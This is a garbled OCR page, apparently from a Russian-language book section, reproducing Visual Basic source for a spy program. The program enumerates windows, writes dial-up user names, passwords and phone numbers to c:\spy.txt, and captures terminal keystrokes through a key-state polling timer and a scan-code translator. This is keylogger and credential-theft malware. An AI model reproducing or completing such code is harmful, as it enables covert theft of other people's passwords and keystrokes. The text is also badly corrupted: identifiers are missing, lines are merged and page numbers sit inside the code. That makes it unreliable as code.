Раздел: Документация
0 ... 35 36 37 38 39 40 41 ... 169  hchild = GetWindow(hwnd, GWJSHILD) // API ф-ция возвращает hWnd дочернего окна While hchild <> О cbChildName = GetWindowTextLength(hchild) = GetWindowText(hchild, IpszChildName, cbChildName + 1) If <> 0 Then IpszChildName = Left(IpszChildName, rcj // обрезка End If hchild = hchild i = i + 1 DoEvents // дает Windows обработать одно сообщение системной очереди (от задержек) hchild =// next child Wend End Sub Sub LoadWnds () // CM. DimAs String Dim cbWinName As Integer DimAs Integer Dim created As Integer Dim As Integer Dim i As Integer hwnd = GetWindow(SpyWindow. hWnd, GW HWNDFIRST) While hwnd <> 0 cbWinName = IpszWinName = Space(127) = GetWindowText(hwnd, IpszWinName, cbWinName + 1) If <> 0 Then IpszWinName = name = IpszWinName hwnd = hwnd IpszChildName 127 пробелов Space (12 7) // забивает в переменную строки под реальную длину name IpszChildName 116 i = i + 1 End If DoEvents hwnd = GetWindow(hwnd, gw hwndnext) Wend End Sub Sub SaveDialoglnfo (User As String, PassWrd As String, DialNum As String) DimAs Integer = FreeFile Open «c:\spy. txt» For Append As hFile // Append открывает файл и перемещает указатель на конец файла Print #hFile, «Connected» & Date & « — « & Time Print #hFile, «User=» & User & «Pass«» & PassWrd & «Dial=» & DialNum Close hFile End Sub SubAs String, TermBox As String) Dim hFile AsInteger hFile = FreeFile Opentxt» For Append As hFile Print«Term Box=» & TermBox Print«Term Type=» & TermChar Close hFile End Sub Sub TimerProc2 () // процедура обработки второго таймера Static ri As Integer Static k As Integer Static rs As String For k = 0 To 255 ri = // проверка нажатия/отпускания клавиш и устранение повторов If (ri <> 0) And (Not key(k) ) Then TermChai = TermChar + Translate(k, True) 117 If (ri = 0) And key (к) Then rs = Translated, False) key(k) = ri <> 0 Next k End Sub Function Translate (code As Integer, press As Integer) As String // простенький транслятор скэн-кодов // аргумент press индицирует нажатие Shifts // возвращает строку в коде ASCII If code1 = 16 Then Shift = press: Exit Function If code = 8 Then Translate = «[В8]яИ Exit Function If code - 32 Then Translate =Exit Function If code = 13 Then Translate = Chr(13) +Exit Function If code > 64 And code < 91 Then If Shift Then Translate = Chr(code) Else Translate - Chr(code + 32) End If Exit Function End If If code > 47 And code < 58 Then If Shift Then Translate = Choose (code — 47, «)», «!», «@», «#», «$», « % », « Л », « & », « * », « («) // Choose выбирает одно из списочных значений от первого Else Translate End If Exit Function End If If code > 95 And code < 108 Then Translate = Choose (code — 95, «0», «1», «2», «3», «4», «5», «6», «7», «8», «9», «*», «+») Function End If 118 0 ... 35 36 37 38 39 40 41 ... 169
|
